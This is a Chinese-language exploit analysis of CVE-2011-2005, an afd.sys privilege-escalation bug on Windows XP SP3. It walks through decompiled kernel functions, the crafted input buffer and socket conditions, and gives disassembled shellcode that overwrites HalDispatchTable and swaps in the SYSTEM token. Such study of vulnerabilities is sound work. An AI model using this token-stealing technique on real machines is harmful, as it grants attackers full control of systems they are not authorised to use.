Exploit kernel 2017/07/21
CVE-2011-2005分析

0x00.环境

系统::WINXP SP3

EXP: exploit-db

0x01.成因

afd.sys中对用户IO参数检查缺陷导致任意地址写定值,被利用来修改系统调用表函数地址,完成执行任意shellcode完成token替换,从而提升权限

0x02.EXP分析要点

1.inputBuffer为什么要这么构造?

见IDA F5分析

int __fastcall AfdJoinLeaf(_IRP *a1, int a2)
{
  v2 = a2;
  inputLength = *(a2 + 8);
  if ( inputLength < 0x18 || (a2 = *(a2 + 4)) != 0 && a2 < 8 )// inputLength >= 0x18
                                                // outputLength >= 8
                                                // outputLength == 0
  {
    v37 = 0xC000000D;
    v10 = a1;
    goto LABEL_72;
  }
  if ( a1->RequestorMode && inputLength )
  {
    if ( *(v2 + 16) & 3 )
      ExRaiseDatatypeMisalignment();
    type3InputBuffer = *(v2 + 16);
    v5 = type3InputBuffer + *(v2 + 8);
    if ( v5 < type3InputBuffer || v5 > _MmUserProbeAddress )
      ExRaiseAccessViolation();
  }
  inputBuffer = *(v2 + 16);
  v7 = (inputBuffer + 12);
  v33 = *(v2 + 8) - 12;                         // 0x108-12
  *v8 = ExAllocatePoolWithQuotaTag(16, v33 + 48, 0xC9646641);
  buf = *v8;
  memset(*v8, 0, 0x30u);
  qmemcpy((*v8 + 48), v7, v33);
  if ( *(*v8 + 48) != 1 || v33 < *(buf + 26) + 8 )// *(input+c) == 1
                                                // *(input+10) <= f4
    ExRaiseStatus(-1073741811);
  if ( *(v2 + 4) && a1->RequestorMode == UserMode )// outputBufferLength == 0才可以绕过检查
  {
    if ( a1->UserBuffer >= _MmUserProbeAddress )
      *_MmUserProbeAddress = 0;
  }

因此只要满足(input+c) == 1和(input+10) <= f4即可

2.为什么inutBuffer申请的地址是0x1001?

实际会对齐从0x1000分配

3.为什么VirtualProtect地址是0x20000?

python.exe会使用0x20000~0x21000的内存,刚好利用不用自己申请了。

4.为什么要打开一个没人占用的端口?并在ZwDeviceIoControlFile当做第一个参数?

还是在AfdJoinLeaf函数中

  v14 = *socket;
  if ( *socket != 0xAFD0u && v14 != 0xAFD2u && v14 != 0xAFD1u )
  {
LABEL_62:
    v37 = 0xC000000D;
    goto LABEL_68;
  }
  if ( !v30 )
  {
    if ( v14 == 0xAFD1u )
    {
      if ( *(socket + 2) != 3 )
        return AfdDoDatagramConnect(fileObj, v10, 1);
      v37 = 0;
      goto LABEL_68;
    }
    if ( v14 != 0xAFD0u && v14 != 0xAFD2u && v14 != 0xAFD4u && v14 != 0xAFD6u )
      goto LABEL_62;
    v29 = socket + 188;
    if ( _InterlockedCompareExchange(socket + 47, 3, 0) )
      goto LABEL_62;
    if ( *(socket + 2) == 2 )
    {
      v37 = AfdCreateConnection(
              (*(socket + 35) + 16),
              *(socket + 34),
              (*(socket + 1) >> 9) & 1,
              (*(socket + 3) >> 8) & 1,
              *(socket + 6),
              &v36);
      if ( v37 >= 0 )
        goto LABEL_50;

可以看到要到达LABEL_50,socket状态要是0xAFD0、0xAFD2、0xAFD4、0xAFD6中一个,而如果打开一个不存在的端口,此处的值是0xAFD2。

5.NtQueryIntervalProfile第一个参数为什么是0x1337?

在nt中代码如下

int __stdcall KeQueryIntervalProfile(int a1)
{
  int result; // eax@2
  int v2; // [sp+0h] [bp-Ch]@5
  char v3; // [sp+4h] [bp-8h]@6
  int v4; // [sp+8h] [bp-4h]@7
  if ( a1 )
  {
    if ( a1 == 1 )
    {
      result = KiProfileAlignmentFixupInterval;
    }
    else
    {
      v2 = a1;
      if ( off_47C03C(1, 12, &v2, &a1) >= 0 && v3 )  此处调用HaliQuerySystemInformation触发漏洞
        result = v4;
      else
        result = 0;
    }
  }
  else
  {
    result = KiProfileInterval;
  }
  return result;
}

其实只要第一个参数非零且不等于1即可,我测试改成0x2是可以的

6.修改token的shellcode什么作用?

000207ba 31c0            xor     eax,eax
000207bc b836e46f80      mov     eax,offset hal!HaliAcpiMachineStateInit+0xd8 (806fe436)
000207c1 a340e05480      mov     dword ptr [nt!HalDispatchTable+0x8 (8054e040)],eax
000207c6 b8babb6f80      mov     eax,offset hal!HalpUnmaskAcpiInterrupt+0x70 (806fbbba)
000207cb a33ce05480      mov     dword ptr [nt!HalDispatchTable+0x4 (8054e03c)],eax
000207d0 52              push    edx
000207d1 53              push    ebx
000207d2 33c0            xor     eax,eax
000207d4 648b8024010000  mov     eax,dword ptr fs:[eax+124h] ;kthread
000207db 8b4044          mov     eax,dword ptr [eax+44h]    ;kprocess
000207de 8bc8            mov     ecx,eax
000207e0 8b98c8000000    mov     ebx,dword ptr [eax+0C8h]   ;eprocess token
000207e6 891d00090200    mov     dword ptr ds:[20900h],ebx  ;token save to 20900
000207ec 8b8088000000    mov     eax,dword ptr [eax+88h]    ;ActiveProcessLinks
000207f2 81e888000000    sub     eax,88h                    ;eprocess
000207f8 81b88400000004000000 cmp dword ptr [eax+84h],4     ;pid,find system.exe
00020802 75e8            jne     000207ec
00020804 8b90c8000000    mov     edx,dword ptr [eax+0C8h]   ;system token
0002080a 8bc1            mov     eax,ecx                    ; eax = current kprocess
0002080c 8990c8000000    mov     dword ptr [eax+0C8h],edx   ; privilege escalation
00020812 5b              pop     ebx
00020813 5a              pop     edx
00020814 c210            ret     10h


7.还原token的shellcode什么作用?

000207ba 31c0            xor     eax,eax
000207bc b836e46f80      mov     eax,offset hal!HaliAcpiMachineStateInit+0xd8 (806fe436)
000207c1 a340e05480      mov     dword ptr [nt!HalDispatchTable+0x8 (8054e040)],eax
000207c6 b8babb6f80      mov     eax,offset hal!HalpUnmaskAcpiInterrupt+0x70 (806fbbba)
000207cb a33ce05480      mov     dword ptr [nt!HalDispatchTable+0x4 (8054e03c)],eax
000207d0 52              push    edx
000207d1 33c0            xor     eax,eax
000207d3 648b8024010000  mov     eax,dword ptr fs:[eax+124h]
000207da 8b4044          mov     eax,dword ptr [eax+44h]
000207dd 8b1500090200    mov     edx,dword ptr ds:[20900h] ;取保存原token指针
000207e3 8990c8000000    mov     dword ptr [eax+0C8h],edx   ;还原token
000207e9 5a              pop     edx
000207ea c21000          ret     10h


8.为什么shellcode代码写在0x000207xx地址?

我们看到上面会调用AfdCreateConnection,单步跟踪找到源头

tcpip!TdiConnect+0x426:
b1e4b7c4 b8070200c0      mov     eax,0C0000207h
b1e4b7c9 e96802ffff      jmp     tcpip!TdiConnect+0x42b (b1e3ba36)

可以看到传入打开未占用端口的handle,会进入上面代码,从而写入定值0xc0000207,但由于这个高地址属于内核,没办法分配,所以向高1字节写入,相当于替换高3位字节为0x207,从而实现替换系统调用函数指针,实现利用